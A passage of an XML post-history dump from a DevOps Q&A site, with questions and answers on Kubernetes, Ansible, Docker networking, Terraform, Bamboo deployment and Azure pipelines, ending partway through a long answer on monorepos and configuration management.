  <row Id="41750" PostHistoryTypeId="5" PostId="13570" RevisionGUID="57fa5513-468c-499d-913e-6e537953bf0f" CreationDate="2021-03-18T13:44:40.593" UserId="13139" Comment="Improved formatting and spelling" Text="I have faced a similar error for my Gitlab runner deployment on the GKE cluster. As you can see from the error, something is wrong with our pods. Why shouldn't we go and check the pod status?&#xD;&#xA;&#xD;&#xA;    kubectl describe pods -n namespace &#xD;&#xA;&#xD;&#xA;You will get a fair idea about what's the real issue behind the error “*Does not have minimum availability*”.&#xD;&#xA;&#xD;&#xA;In my case, the node was unable to pull the image for my deployment from the google container registry (GCR). I checked the permission for the service account used for k8s-cluster to pull the images from GCR.&#xD;&#xA;&#xD;&#xA;I provided the correct roles and then it worked. Roles:&#xD;&#xA;&#xD;&#xA; - storage&#xD;&#xA; - object&#xD;&#xA; - viewer" ContentLicense="CC BY-SA 4.0" />
  <row Id="41751" PostHistoryTypeId="24" PostId="13570" RevisionGUID="57fa5513-468c-499d-913e-6e537953bf0f" CreationDate="2021-03-18T13:44:40.593" Comment="Proposed by 13139 approved by 354, 739 edit id of 1354" ContentLicense="CC BY-SA 4.0" />
  <row Id="41752" PostHistoryTypeId="5" PostId="13572" RevisionGUID="3afc8d14-b3be-4c8c-b351-c9c345341cb0" CreationDate="2021-03-18T14:36:27.397" UserId="26597" Comment="Add explanations of the individual steps in the second Jinja expression." Text="Use `select()` with the `defined` test.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ [ansible_facts.default_ipv4.address, ansible_facts.default_ipv6.address] | select('defined') | list }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As for the linked post about matching dictionary keys in JMESPath, I wouldn't use JMESPath at all for that in Ansible. As I've grown more accustomed to Jinja I've found `json_query()` less and less necessary.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ssh_listen_to: &quot;{{ ansible_facts | select('match', '.+_ipv[46]$') | map('extract', ansible_facts, 'address') | select('defined') | list }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`ansible_facts | select('match', '.+_ipv[46]$')` filters the keys using a regex. Iterating over a dictionary returns its keys, which are then matched against the provided regex.&#xD;&#xA;&#xD;&#xA;Passing this filtered list of keys to `map('extract', ansible_facts, 'address')` extracts their values and looks up 'address' in each value. You could do this in two steps as `map('extract', ansible_facts) | map(attribute='address')`, if that makes things clearer.&#xD;&#xA;&#xD;&#xA;`select('defined')` gets rid of any undefined values, then `list` converts the generator returned from `select()` into a list (this generator unrolling happens automatically in ansible-base/ansible-core &gt;= 2.10, but a lot of people are still on Ansible 2.9.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="41753" PostHistoryTypeId="2" PostId="13575" RevisionGUID="a620a832-85e6-4be4-9b76-169ddf2402d4" CreationDate="2021-03-18T16:49:07.693" UserId="24678" Text="I created an EKS Fargate-only cluster using an existing VPC, and currently have objects running in it.&#xD;&#xA;&#xD;&#xA;I want to associate new CIDR ranges for my VPC by following [How do I use multiple CIDR ranges with Amazon EKS?][1]. However, the article only mentions associating new &quot;worker nodes&quot; to the new CIDR range, but of course in a Fargate-only cluster are non-applicable? Is this approach applicable to Fargate nodes, and ultimately, pods and services created in my cluster which incur IP addresses? If so how can I &quot;force&quot; new Fargate nodes to use the extended CIDR range. A big plus if someone can explain how to move existing Kubernetes objects, e.g., `corddns` to the new Fargate nodes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/premiumsupport/knowledge-center/eks-multiple-cidr-ranges" ContentLicense="CC BY-SA 4.0" />
  <row Id="41754" PostHistoryTypeId="1" PostId="13575" RevisionGUID="a620a832-85e6-4be4-9b76-169ddf2402d4" CreationDate="2021-03-18T16:49:07.693" UserId="24678" Text="How to use new VPC CIDR range in a Fargate-only EKS cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41755" PostHistoryTypeId="3" PostId="13575" RevisionGUID="a620a832-85e6-4be4-9b76-169ddf2402d4" CreationDate="2021-03-18T16:49:07.693" UserId="24678" Text="&lt;kubernetes&gt;&lt;amazon-web-services&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41756" PostHistoryTypeId="2" PostId="13576" RevisionGUID="c8ceac7c-d313-4f57-90ec-f804a103ab2f" CreationDate="2021-03-18T17:58:30.997" UserId="26673" Text="I was recently shocked to find out that docker writes its own iptables rules and ignores ufw bindings completely. I had blocked all ports using the `ufw deny incoming command` and then selectively allowed only the ports that I wanted to expose.&#xD;&#xA;&#xD;&#xA;I have a very simple setup that utilizes a postgresql container and a simple nodejs application. My primary goal is to keep the postgresql container port off the internet but let the node backend accept requests through port 3333. How do I do that?&#xD;&#xA;&#xD;&#xA;My current `docker-compose.yml` file looks like this:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  redis:&#xD;&#xA;    image: redis:latest&#xD;&#xA;    ports:&#xD;&#xA;      - 6379:6379&#xD;&#xA;    command: [&quot;redis-server&quot;, &quot;/redis.conf&quot;]&#xD;&#xA;    network_mode: host&#xD;&#xA;  database:&#xD;&#xA;    image: &quot;postgres&quot;&#xD;&#xA;    env_file:&#xD;&#xA;      - ./database/database.env&#xD;&#xA;    volumes:&#xD;&#xA;      - database-data:/var/lib/postgresql/data&#xD;&#xA;      - ./database/init-db.sql:/docker-entrypoint-initdb.d/init.sql&#xD;&#xA;    ports:&#xD;&#xA;      - 5432:5432&#xD;&#xA;    restart: always&#xD;&#xA;    network_mode: host&#xD;&#xA;&#xD;&#xA;  backend:&#xD;&#xA;    depends_on: [database]&#xD;&#xA;    build: ./server&#xD;&#xA;    volumes:&#xD;&#xA;      - ./files:/var/lib/files&#xD;&#xA;    ports:&#xD;&#xA;      - 3333:3333&#xD;&#xA;    restart: always&#xD;&#xA;    network_mode: host&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  database-data:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="41757" PostHistoryTypeId="1" PostId="13576" RevisionGUID="c8ceac7c-d313-4f57-90ec-f804a103ab2f" CreationDate="2021-03-18T17:58:30.997" UserId="26673" Text="Docker: Let containers communicate to each other but don't expose to internet" ContentLicense="CC BY-SA 4.0" />
  <row Id="41758" PostHistoryTypeId="3" PostId="13576" RevisionGUID="c8ceac7c-d313-4f57-90ec-f804a103ab2f" CreationDate="2021-03-18T17:58:30.997" UserId="26673" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;security&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41759" PostHistoryTypeId="2" PostId="13577" RevisionGUID="6b8cf9de-125a-4942-a590-5d532f705e2c" CreationDate="2021-03-18T20:37:43.993" UserId="26675" Text="The Workflows `version` field was used to issue warnings for deprecation or breaking changes during v2 Beta, and it is deprecated as of CircleCI v2.1.&#xD;&#xA;&#xD;&#xA;2 is the only valid number besides 1" ContentLicense="CC BY-SA 4.0" />
  <row Id="41760" PostHistoryTypeId="50" PostId="13367" RevisionGUID="ab00acba-20e0-47e0-9d32-45eab6fe662b" CreationDate="2021-03-18T22:02:15.187" UserId="-1" />
  <row Id="41762" PostHistoryTypeId="2" PostId="13578" RevisionGUID="f3776c17-ec38-4863-9d5c-5ee62d9f6551" CreationDate="2021-03-19T01:12:15.683" UserId="26678" Text="I'm new Kubernetes and am setting up a raspberry pi cluster at home and I want to put Kubernetes on it.  I have 4 new raspberry pi 4s with 8gb each and one old raspberry pi 2+.  There are several hardware differences between the two models but I think technically I can make the old pi2 the master node to manage the pi4s.  I'm wondering if this is a good idea.  I don't really understand what the consequences of this would be.  For instance if I was to expand my little cluster to 8 or 16 pi4s in the future, would my one pi2 be overloaded in managing the workers?  I'm really trying to understand the consequences of putting lower grade hardware in control of higher grade hardware in the master/worker node relationship in Kubernetes.&#xD;&#xA;&#xD;&#xA;There are three main goals that I have for this hardware.  I want to recreate an entire development environment, so some VMs that would host a testing environment, a staging environment, a dev environment, and then a small production environment for hosting some toy website, and then I want to be able to host some services for myself in Kubernetes like a nas storage service, a local github repo, an externally facing plex media server, stuff like that.  I think I can use k8s to containerize all of this, but how will having a pi2 as master limit me?  Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="41763" PostHistoryTypeId="1" PostId="13578" RevisionGUID="f3776c17-ec38-4863-9d5c-5ee62d9f6551" CreationDate="2021-03-19T01:12:15.683" UserId="26678" Text="Should the master node's hardware be the same as the worker node's hardware for a Kubernetes setup?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41764" PostHistoryTypeId="3" PostId="13578" RevisionGUID="f3776c17-ec38-4863-9d5c-5ee62d9f6551" CreationDate="2021-03-19T01:12:15.683" UserId="26678" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41765" PostHistoryTypeId="5" PostId="13545" RevisionGUID="ff944981-11b1-4c8c-8633-0ee149d283a4" CreationDate="2021-03-19T01:18:00.330" UserId="26597" Comment="Remove non-working but syntactically correct example" Text="Don't nest moustaches. Once you're in a Jinja context, you should reference variables by name without any further delimiters.&#xD;&#xA;&#xD;&#xA;Using standard attribute access syntax can be a lot easier to read than the `attr()` filter (and actually works for this situation, which `attr()` doesn't):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Debug jinja2&#xD;&#xA;  ansible.builtin.debug:&#xD;&#xA;    msg: &quot;{{ server_cert_info_result.ansible_module_results[server_ssl_certificate_name].arn }}&quot;&#xD;&#xA;  tags: list_server_certificate_info&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41766" PostHistoryTypeId="50" PostId="9216" RevisionGUID="e59ad416-6178-4395-8d53-bc08567e4f93" CreationDate="2021-03-19T03:03:15.280" UserId="-1" />
  <row Id="41767" PostHistoryTypeId="2" PostId="13579" RevisionGUID="47ab147c-39cc-4823-ba28-edf5ef255ba8" CreationDate="2021-03-19T06:15:30.903" UserId="6308" Text="Setup a Jenkins server. Please do code checkout using Jenkins. Jenkins supports parameterized build. you can pass selected parameter from Jenkins UI to linux bash. &#xD;&#xA;&#xD;&#xA;Then use linux's cli command to fire terraform.Terraform supports several workspace. You can use same code for dev, test and prod. &#xD;&#xA;&#xD;&#xA;`terraform workspace new dev`&#xD;&#xA;Use this command to create new workspace. After that , we can use this workspace name to your code. Below is the content of `local.tf`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;locals {&#xD;&#xA;  env = terraform.workspace&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Like below use the same code for multiple env.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_autoscaling_group&quot; &quot;asg&quot; {&#xD;&#xA;  name = &quot;${local.env}-${local.project}-demo-asg&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Moreover to save your state file securely , you can use s3 as backend.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform {&#xD;&#xA;  backend &quot;s3&quot; {&#xD;&#xA;    bucket = &quot;tfstate-demo&quot;&#xD;&#xA;    key = &quot;keyfiles&quot;&#xD;&#xA;    region = &quot;ap-southeast-1&quot;&#xD;&#xA;    dynamodb_table = &quot;tfstate-demo&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;To separate backend and frontend service, use best practice of AWS. Create a public ALB for frontend and then move traffic to backend services via private ALB.&#xD;&#xA;&#xD;&#xA;You can use Ansible as a configuration manager to build your server then create a AMI of that using packer. Later on, use the same AMI in ASG." ContentLicense="CC BY-SA 4.0" />
  <row Id="41768" PostHistoryTypeId="2" PostId="13580" RevisionGUID="2c50ce43-501d-4295-8683-0d6ad3c3a4de" CreationDate="2021-03-19T06:51:58.960" UserId="26601" Text="You could try the [Bamboo SCP](https://confluence.atlassian.com/bamboo/using-the-scp-task-in-bamboo-305759795.html) and [SSH tasks](https://confluence.atlassian.com/bamboo/using-the-scp-task-in-bamboo-305759795.html)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41769" PostHistoryTypeId="12" PostId="13580" RevisionGUID="61c81c85-e033-4b49-a8a7-287e63a51f9c" CreationDate="2021-03-19T10:13:56.740" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="41770" PostHistoryTypeId="2" PostId="13581" RevisionGUID="99c470ff-181e-4c84-a5fd-198d60abc6b0" CreationDate="2021-03-19T10:21:30.437" UserId="26489" Text="To start, I am new to Kubernetes, so please feel free to point out and correct any terminology I get wrong.&#xD;&#xA;&#xD;&#xA;I'd like to [enable SSL passthrough in the nginx-ingress-controller][1]. I've located two different `ingress.yaml` manifests in the following locations (both of which appear to be identical):&#xD;&#xA;&#xD;&#xA;    /snap/microk8s/current/actions/ingress.yaml&#xD;&#xA;    /snap/microk8s/current/microk8s-resources/actions/ingress.yaml&#xD;&#xA;&#xD;&#xA;The problem is, these two files are read only. I'm guessing something must have generated them during the installation process, but it's not clear to me where they came from, if that's true. What is the proper way to modify the global, system manifests, such as the one for the ingress controller?&#xD;&#xA;&#xD;&#xA;Please note, I copied one of the two YAML files mentioned above and tried to manually run `microk8s kubectl apply -f ingress.yaml`. To my surprise, I actually got an error when I did so, which confuses me even more (I'm sure I could figure out where the problem is, but it baffles me because it appears this is what gets applied by the `microk8s enable ingress` command).&#xD;&#xA;&#xD;&#xA;    error: error parsing /snap/microk8s/current/microk8s-resources/actions/ingress.yaml: error converting YAML to JSON: yaml: line 52: could not find expected ':'&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/cli-arguments/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41771" PostHistoryTypeId="1" PostId="13581" RevisionGUID="99c470ff-181e-4c84-a5fd-198d60abc6b0" CreationDate="2021-03-19T10:21:30.437" UserId="26489" Text="Modifying Microk8s System Manifests" ContentLicense="CC BY-SA 4.0" />
  <row Id="41772" PostHistoryTypeId="3" PostId="13581" RevisionGUID="99c470ff-181e-4c84-a5fd-198d60abc6b0" CreationDate="2021-03-19T10:21:30.437" UserId="26489" Text="&lt;kubernetes&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41773" PostHistoryTypeId="5" PostId="13581" RevisionGUID="251e031a-af17-45c1-936b-78c378a43fc8" CreationDate="2021-03-19T12:30:24.483" UserId="26489" Comment="Updated for additional clarity" Text="To start, I am new to Kubernetes, so please feel free to point out and correct any terminology I get wrong.&#xD;&#xA;&#xD;&#xA;I'd like to [enable SSL passthrough in the nginx-ingress-controller][1]. I've located two different `ingress.yaml` manifests in the following locations (both of which appear to be identical):&#xD;&#xA;&#xD;&#xA;    /snap/microk8s/current/actions/ingress.yaml&#xD;&#xA;    /snap/microk8s/current/microk8s-resources/actions/ingress.yaml&#xD;&#xA;&#xD;&#xA;The problem is, these two files are read only. I'm guessing something must have generated them during the installation process, but it's not clear to me where they came from, if that's true. What is the proper way to modify the global, system manifests, such as the one for the ingress controller?&#xD;&#xA;&#xD;&#xA;Site note: I copied one of the two YAML files mentioned above and tried to manually run `microk8s kubectl apply -f ingress.yaml`. To my surprise, I actually got an error when I did so, which confuses me even more (I'm sure I could figure out where the problem is, but it baffles me because it appears one of the two mentioned YAML files is what gets applied by the `microk8s enable ingress` command).&#xD;&#xA;&#xD;&#xA;    error: error parsing ingress.yaml: error converting YAML to JSON: yaml: line 52: could not find expected ':'&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/cli-arguments/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41774" PostHistoryTypeId="5" PostId="13581" RevisionGUID="2f51d567-1689-4afb-9c7a-12375348d3ed" CreationDate="2021-03-19T12:36:39.900" UserId="26489" Comment="Updated for additional clarity" Text="To start, I am new to Kubernetes, so please feel free to point out and correct any terminology I get wrong.&#xD;&#xA;&#xD;&#xA;I'd like to [enable SSL passthrough in the nginx-ingress-controller][1]. I've located two different `ingress.yaml` manifests in the following locations (both of which appear to be identical):&#xD;&#xA;&#xD;&#xA;    /snap/microk8s/current/actions/ingress.yaml&#xD;&#xA;    /snap/microk8s/current/microk8s-resources/actions/ingress.yaml&#xD;&#xA;&#xD;&#xA;The problem is, these two files are read only. I'm guessing something must have generated them during the installation process, but it's not clear to me where they came from, if that's true. What is the proper way to modify the global, system manifests, such as the one for the ingress controller?&#xD;&#xA;&#xD;&#xA;Site note: I copied one of the two YAML files mentioned above and tried to manually run `microk8s kubectl apply -f ingress.yaml`. To my surprise, I actually got an error when I did so, which confuses me even more (I'm sure I could figure out where the problem is, but it baffles me because it appears one of the two mentioned YAML files is what gets applied by the `microk8s enable ingress` command).&#xD;&#xA;&#xD;&#xA;    error: error parsing ingress.yaml: error converting YAML to JSON: yaml: line 52: could not find expected ':'&#xD;&#xA;&#xD;&#xA;What is the proper way to modify the parameters (e.g., add the `--enable-ssl-passthrough` switch) for manifests, like the one for the microk8s ingress controller?&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/cli-arguments/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41775" PostHistoryTypeId="5" PostId="13580" RevisionGUID="2d7a238d-8f08-478b-9e2d-e832601dfa32" CreationDate="2021-03-19T13:09:29.817" UserId="26601" Comment="Added explanation of how getting SSH server for Windows on makes usable from Bamboo" Text="There isn't a common protocol that exists on all the platforms for deployment.  However, if you get an SSH server onto the windows platforms then you can use the same mechanisms in Bamboo to do the deployment, and potentially even use the same keys to secure it all.&#xD;&#xA;&#xD;&#xA;Windows SSHD - There are a few alternatives (https://serverfault.com/questions/8411/what-is-a-good-ssh-server-to-use-on-windows).  Freesshd you can get administrator level access - been successfully using it with thousands of machines as old as WinXP for years.&#xD;&#xA;&#xD;&#xA;The [Bamboo SCP task](https://confluence.atlassian.com/bamboo/using-the-scp-task-in-bamboo-305759795.html) can be used to do the staging to the remote servers - once you have SSH remote access to all your targets.&#xD;&#xA;&gt;You can use the Bamboo SCP task to upload files from Bamboo directly to a remote server as part of a Bamboo job. The SCP task is able to copy multiple files and preserves the directory structure for the copied files.&#xD;&#xA;&#xD;&#xA;And [Bamboo SSH task](https://confluence.atlassian.com/bamboo/using-the-ssh-task-in-bamboo-306348532.html) can then do post deployment install steps, running scripts relevant to the platform.&#xD;&#xA;&gt;You can use the Bamboo SSH task to execute a SSH command on a remote computer as part of a Bamboo job.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41776" PostHistoryTypeId="13" PostId="13580" RevisionGUID="b3ef451d-77da-4018-9c26-94046eac2ae2" CreationDate="2021-03-19T17:41:52.250" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="41777" PostHistoryTypeId="2" PostId="13582" RevisionGUID="86b62547-3237-4571-80b2-ec7bfdb3c682" CreationDate="2021-03-19T17:44:20.643" UserId="6162" Text="&gt;Should the master node's hardware be the same as the worker node's hardware for a Kubernetes setup?&#xD;&#xA;&#xD;&#xA;The control plane (master nodes) and the data plane (worker nodes) are completely different workloads. You can use very different hardware or virtual machines if you want.&#xD;&#xA;&#xD;&#xA;You can use some with x86, some other nodes with arm64 or even Windows nodes are supported as worker nodes. But you probably need groups for your nodes, since the application typically only run on a specific type of nodes and it is easier to understand e.g. metrics if the application run its instances on the same type of nodes." ContentLicense="CC BY-SA 4.0" />
  <row Id="41780" PostHistoryTypeId="10" PostId="13578" RevisionGUID="e2822b6c-a3f7-4e43-9aa0-99617c51997f" CreationDate="2021-03-19T19:58:50.400" UserId="40" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13139,&quot;DisplayName&quot;:&quot;Eduardo Baitello&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="41781" PostHistoryTypeId="2" PostId="13583" RevisionGUID="c5ae2520-71e7-41a5-bd2f-75d5aa8d766e" CreationDate="2021-03-19T23:33:42.920" UserId="26696" Text="Sometime in the last week, our pipeline started using `Expand-Archive` to open the `.zip` file during the &quot;IIS Web App Deployment&quot; step instead of 7-Zip. It does not appear that this was done by our team, so I'm presuming this may have been changed in DevOps.&#xD;&#xA;&#xD;&#xA;We are deploying to Server 2012R2.&#xD;&#xA;&#xD;&#xA;Several of our apps are okay with this, however **one** of them fails to expand. It *seems* as if this might be related to path length (this app uses some very deep folder nesting with Angular) since I can *manually* run the command successfully if I shorten the destination path.&#xD;&#xA;&#xD;&#xA;The command that fails to runs on the server is:&#xD;&#xA;&#xD;&#xA;    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -Command &quot;Expand-Archive -Path &quot;C:\azagent\A3\_work\r1\a\thisistheazurejobname\drop\thisisourappsnamex.zip&quot; -DestinationPath &quot;C:\azagent\A3\_work\_temp\temp_web_package_8157628602055582&quot; -Force&quot;&#xD;&#xA;&#xD;&#xA;If I reduce it to:&#xD;&#xA;&#xD;&#xA;    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoProfile -NonInteractive -Command &quot;Expand-Archive -Path &quot;C:\azagent\A3\_work\r1\a\thisistheazurejobname\drop\thisisourappsnamex.zip&quot; -DestinationPath &quot;C:\azagent\A3\_work\_temp\short&quot; -Force&quot;&#xD;&#xA;&#xD;&#xA;...it appears to work fine.&#xD;&#xA;&#xD;&#xA;Obviously, I am speculating that it's a path-length issue, but evidence does seem to support it. Also, I reconstructed what *would have been* the 7-Zip command and it worked as expected:&#xD;&#xA;&#xD;&#xA;    C:\azagent\A3\_work\_tasks\IISWebAppDeploymentOnMachineGroup_1b467810-6725-4b6d-accd-886174c09bba\0.184.0\node_modules\webdeployment-common-v2\7zip\7z.exe x -oC:\azagent\A3\_work\_temp\temp_web_package_8157628602055582 C:\azagent\A3\_work\r1\a\thisistheazurejobname\drop\thisisourappsnamex.zip&#xD;&#xA;&#xD;&#xA;I looked at the advice here and found we are already using the setting:&#xD;&#xA;https://igorpuhalo.wordpress.com/2019/08/29/overcoming-long-path-problem-in-powershell/&#xD;&#xA;&#xD;&#xA;My hope is that someone knows what may have changed, can suggest a straightforward way to go *back* to using 7-Zip, or a way to make `Expand-Archive` to work." ContentLicense="CC BY-SA 4.0" />
  <row Id="41782" PostHistoryTypeId="1" PostId="13583" RevisionGUID="c5ae2520-71e7-41a5-bd2f-75d5aa8d766e" CreationDate="2021-03-19T23:33:42.920" UserId="26696" Text="Azure Release Pipeline Fails Using Expand-Archive Command" ContentLicense="CC BY-SA 4.0" />
  <row Id="41783" PostHistoryTypeId="3" PostId="13583" RevisionGUID="c5ae2520-71e7-41a5-bd2f-75d5aa8d766e" CreationDate="2021-03-19T23:33:42.920" UserId="26696" Text="&lt;azure-devops&gt;&lt;windows&gt;&lt;azure-pipelines&gt;&lt;release&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41785" PostHistoryTypeId="5" PostId="13109" RevisionGUID="43e04536-21b8-4b70-b873-62759af21b2c" CreationDate="2021-03-20T08:07:22.787" UserId="7513" Comment="added 5 characters in body" Text="The correct answer, like almost everything in IT, is, &quot;it depends.&quot; It depends on the way you work, the type of company you are working for, your requirements, your non-functional requirements, and possibly a lot of other factors. &#xD;&#xA;&#xD;&#xA;*tl;dr -- read the final section, it's the most important.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Layers&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;In this, admittedly long answer, I'll talk about the 3 layers of an organisation's IT operations -- *infrastructure*, *platform*, and *application*. These 3 layers are blurred at the boundaries and there is a continual debate about their delineations, but if you're not familiar with this model, roughly:&#xD;&#xA;&#xD;&#xA; - *Infra*: machines and VMs, security and resource groups, auto-scaling groups and elastic load-balancers -- stuff you typically provision with Terraform&#xD;&#xA; - *Platform* is Kubernetes, OpenShift, IIS, etc. -- stuff you typically provision with Packer, kubectl, or helm (and, this is the first blurring, because EKS, AKS, GKE, are often provisioned with terraform too)&#xD;&#xA; - *Application* is the business logic and software that runs your business, confusingly this is also often provisioned with kubectl or helm, and possibly packer if you're into the wonderful *immutability* model&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Monorepos&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA;I think the question you're asking relates to the concept of 'monorepo', where all the code needed to build and deploy your application is contained in a single repo and versioned together. In this answer, I'll mainly address the benefits, techniques, and drawbacks of monorepos, though you don't have to go deep into monorepo culture for this to apply, simply maintaining a single version for all your application, infra, and platform will have the same effect.&#xD;&#xA;&#xD;&#xA;When making your decision you need to factor in whether you are working with an app per cluster, as is becoming more common in modern K8S systems, or a shared cluster. Another factor is which team owns the various layers of the architecture and how they will distribute their output.&#xD;&#xA;&#xD;&#xA;Teams &amp; Architecture&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;My experience comes mainly from large banks. In these organisations, we have hundreds (even thousands) of development teams and it is impractical and inefficient to expect each team to develop its own infrastructure and platform layers as well as their application. Distributing this effort to each team would be a governance and compliance nightmare and hiring that many people with the right skills would be impossible.&#xD;&#xA;&#xD;&#xA;Instead, we have centralised teams for infra and platform, and they distribute their output to the development teams and we typically work with the cluster-per-app model. In modern orgs we work with a cross-functional team that has some skills in each of the areas we need, including DevOps, and each team member is also a member of a group that is focused on their speciality where they receive groupwide instruction.&#xD;&#xA;&#xD;&#xA;We have 2 main models to provide access to the output of the centralised infra and platform teams:&#xD;&#xA;&#xD;&#xA;1. The infra and platform teams can provision clusters on behalf of a dev team and provide the pipelines needed to deploy applications to it. This works well when a team has little or no DevOps capability, but it is far from being the best solution as it creates a dependency from the dev team to the infra and platform teams which usually causes impedance and added complexity.&#xD;&#xA;&#xD;&#xA;2. The infra and platform teams can provide access to their git repos, and the dev teams can fork them into git submodules within their own mono-repos. This model is by far the most common and currently represents the best solution for highly-regulated industries. One of the biggest benefits here is that a dev team can make any changes they need to make to the infra and platform and issue pull requests for the respective teams to manage, without having to coordinate the schedules of the teams and thus reducing impedance.&#xD;&#xA;&#xD;&#xA;Both solutions have their problems and complexities, but both are manageable given good engineering leadership and tool support. &#xD;&#xA;&#xD;&#xA;Solution 1 would require separate repos for infra, platform, and app, and this usually results in a need to synchronise the backlogs of the respective teams, which quickly becomes a logistical nightmare as the number of teams increases. Solution 2 would require the implementation of 'initial trust' base infra with something like *Open Policy Agent* (OPA) rules to ensure that dev teams are complying with organisational governance requirements (e.g. verifying that a dev team isn't running a bitcoin mining operation, or publishing pro-trump/fascist/racist propaganda to our public-facing websites). OPA is an amazing tool when decentralising responsibility for the lower layers of an app while maintaining central control and I can't recommend it highly enough.&#xD;&#xA;&#xD;&#xA;The app per cluster model allows you to use a monorepo that can completely rebuild your app from the ground up with minimal human interaction. The alternative architecture, multi-tenanted, completely disallows the monorepo approach and you must have separate repos for each of the layers.&#xD;&#xA;&#xD;&#xA;Versioning &amp; Configuration Management&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The benefits of a monorepo are manifold, but one of the major benefits is having a single version for all layers of your application. One common problem in IT is called *Configuration Management* -- I refer here to the ITIL meaning, where we talk about which version of what software/hardware work together, rather than the folk-meaning which relates to configuration files. &#xD;&#xA;&#xD;&#xA;This is such a hard problem to solve that many books have been written on the subject and ITIL has an entire discipline dedicated to it. Many of the larger banks I have worked for have entire departments dedicated to this discipline and to do it right usually requires the Enterprise Architecture department to keep continually updated models of every component and relationship in an organisation's entire IT estate.&#xD;&#xA;&#xD;&#xA;The configuration management problem is largely solved with a monorepo. You'll never hear anyone say &quot;I tried to deploy your software but you've written a helm 3 chart and our cluster only has helm 2 installed,&quot; or, &quot;we patched the OS with the latest security updates and your application crashed.&quot; With a monorepo, as long as you have sufficient testing in place, your helm version will always be in sync with your helm files and your software will have always been tested with the latest security patches.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Configuration files&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;I think the OP mentioned config files in one of the comments so I'll address that briefly here too. &#xD;&#xA;&#xD;&#xA;If you are building software that a client will run, then configuration files per client or installation are often necessary. In all other cases, they are not needed and should be avoided. Service discovery should be the responsibility of a service-mesh (my preference is *Consul*), not a configuration file. Secrets should be provided via dynamically generated properties files housed in an in-memory file-system only accessible to a single instance of your service. All other 'configuration' data should be managed by the platform, and it should be exactly the same for every environment. The days of placing the database name and port, and the database credentials, in your `database.properties` file were over a long time ago and you should move on now.&#xD;&#xA;&#xD;&#xA;It isn't always possible to completely avoid configuration files. Where this is the case the files should preferably be 'owned' by the environment layer, not the application layer. These can be used to enable/disable platform services and control feature flags so as to customise a platform for your team's needs. These should mostly be interpreted by the deployment mechanism to ensure that only the things you actually use are deployed, rather than having things enabled/disabled at runtime, which is a big security no-no. You could use these configurations to down-scale a test environment so that its not as large as a prod environment, or to scale one up for load testing, or even to deploy to a less than six-sigma HA configuration for basic dev work. &#xD;&#xA;&#xD;&#xA;Application-specific configuration is considered by many to be a code smell. It is often used to reference database names, ports, and the like. Your app should run in a container and should always run on port 80, so that doesn't need to be configured. Your database should always have a meaningful name and service discovery (DNS) should route you to the appropriate instance for your environment. Your memory and CPU constraints belong to the container, which is in the platform layer, not the app layer. You may have some truly app-level configuration points but that normally only true where you are 